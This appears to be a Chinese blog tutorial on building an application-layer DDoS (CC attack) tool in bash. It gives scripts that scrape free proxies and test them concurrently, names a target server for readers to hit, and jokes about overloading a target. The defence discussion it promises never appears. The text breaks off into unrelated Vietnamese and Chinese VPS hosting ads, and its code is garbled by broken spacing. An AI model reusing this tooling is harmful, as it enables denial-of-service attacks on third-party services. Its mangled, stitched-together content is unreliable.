我们将要实现一个进行应用层DDoS攻击的工具综合考虑 CC攻击方式是最佳选择并用bash shell脚本来快速实现并验证这一工具并在最后讨论如何防御来自应用层的DDoS攻击。
第一步获取大量可用代理ip:port列表
网上所处可见免费代理我们使用http的GET方法抓取html文档接着使用正则过滤出我们需要的ip port对然后逐一验证各代理的可用性最终得到可用的代理ip port对。
C
1 grab_proxy.sh
2 #!/bin/bash
3
4 #get proxy l ist
5 declare proxyListFi le="proxy.txt"
6 declaretmpFi le=`mktemp`
7 declareurl
8 declarel ine
9 declaretimes
10 declareip
11 declare port
12 declare i
13 declarej
14 declare mod
15
16 function quit() {
17 rm-f$tmpFi le
18 exit "$1"
19}
20
21 echo"get proxy l ist. . .please wait. .."
22
23 if[ -r "$proxyListFi le" ]
24then
25 rm-f$proxyListFi le
26 fi
27
28 touch$proxyListFi le
29
30 forurl in " http://www.youdai l i .cn/Dai l i/guonei/2215.html "\
32 " http://www.youdai l i .cn/Dai l i/guonei/2215_3.html"\
33 " http://www.youdai l i .cn/Dai l i/guonei/2215_4.html "
34 do
35 if GET"$url">$tmpFi le
36 then
37 grep-oE '^.*<br/>.*$' "$tmpFi le" |grep-Eo"([0-9]+) (\. [0-9]+){3}:([0-9]+)"\
38 | sort -n | uniq | awk-F: '{printf("%-15s%s\n",$1,$2); }'>>$proxyListFi le
39 else
40 exec1>&2
41 echo"error:get proxyl istfai l ! chechthe url :$urlorthe network"
42 quit1
43 fi
44 done
45
46 echo"done. total `cat$proxyListFi le |wc-l`proxy"
47
48 quit0
49#exit
参数declare proxyListFile=” proxy. txt” ?#抓取到的代理ip port对所存放的文件路径
C
1 check_proxy.sh
2 #!/bin/bash
3
4 #get proxy l ist
5 declarecheck_threads=10
6 declarel ine
7 declaretimes
8 declareip
9 declare port
10 declare i
11 declarej
12 declare mod
13
14 function quit() {
15 exit "$1"
16}
17
18#echo"start check proxy'sfunctional ity. . ."
19
20#retargetthe inputfi leto stdin
21 if[ "$#" -gt "0" ]
22then
23 exec0<$1
24 else
25 exec1>&2
26 echo"usage:bash$0 proxyListFi le.txt"
27 echo"error:musthaveone inputarg"
28 quit1
29 fi
30
31#check proxy'sfunctional ity
32times=0
33whi lereadl ine
34 do
35 times=$((times+1) )
36 j=0
37 for i in`echo$l ine | tr ' ' '\n' |grep-E'^[^\s].*$'`38 do
39 j=$((j+1) )
40 if[ "$j" -eq1 ]
41 then
42 ip=$i
43 else
44 port=$i
45 fi
46 done
47 #echo"times=$timesip=$ip port=$port"
48 #start test
49 if GET-t 5-p"http://$ip:$port" "http://baidu.com"&>/dev/nul l
50 then
51 echo"$ip$port"
52 echo":) ip=$ip port=$port "&>/dev/nul l
53 else
54 echo"inval id ip=$ip port=$port :please check ip:host or network"&>/proc/self/fd/2
55 fi&
56 mod=$((times%check_threads) )
57 if [ "$mod" -eq"0" ]
58 then
59 wait
60 fi
61 done
62
63#closethefdof inputfi le
64 exec 0>&-
65 quit0
66#exit
参数declare check_threads=10#验证代理可用性时的并发数看一下代码就会发现我们使用的是GET?http://baidu.com方法所以并发数请不要也太高: )除非你的目标就是……
总结应征入伍的士兵共计600人经过考核的共计449人如果你还想招募更多的士兵奉劝一句苦海无边 回头是岸。
第二步吹响战争号角
笔者在一台VPS上建立了一个薄弱的靶机各位读者请不要太暴力测试一下就可以了地址?http://eecs.cc:8080/
Vinahost,这个主机商还是第一次介绍到,翻看商家的介绍信息,是一家成立于2008年的老牌越南主机商,业务涵盖网站设计、域名、SSL证书、电子邮箱、虚拟主机、越南VPS、云计算、越南服务器出租以及设备托管等,机房主要在越南胡志明市的Viettle和VNPT数据中心,其中VNPT数据中心对于国内是三网直连,速度优。类似很多海外主机商一样,希望拓展自己的业务,必须要降价优惠或者增加机房迎合需求用户...
提速啦简单介绍下提速啦 是成立于2012年的IDC老兵 长期以来是很多入门级IDC用户的必选商家 便宜 稳定 廉价 是你创业分销的不二之选,目前市场上很多的商家都是从提速啦拿货然后去分销的。提速啦最新物理机活动 爆炸便宜的香港CN2物理服务器 和 日本CN2物理服务器香港CTG E5 2650 16G内存 20M CN2带宽 1T硬盘 150元/月日本CN2 E5 2650 16G内存 20M C...
greencloudvps怎么样?greencloudvps是一家国外主机商,VPS数据中心多,之前已经介绍过多次了。现在有几款10Gbps带宽的特价KVM VPS,Ryzen 3950x处理器,NVMe硬盘,性价比高。支持Paypal、支付宝、微信付款。GreenCloudVPS:新加坡/美国/荷兰vps,1核@Ryzen 3950x/1GB内存/30GB NVMe空间/1TB流量/10Gbps...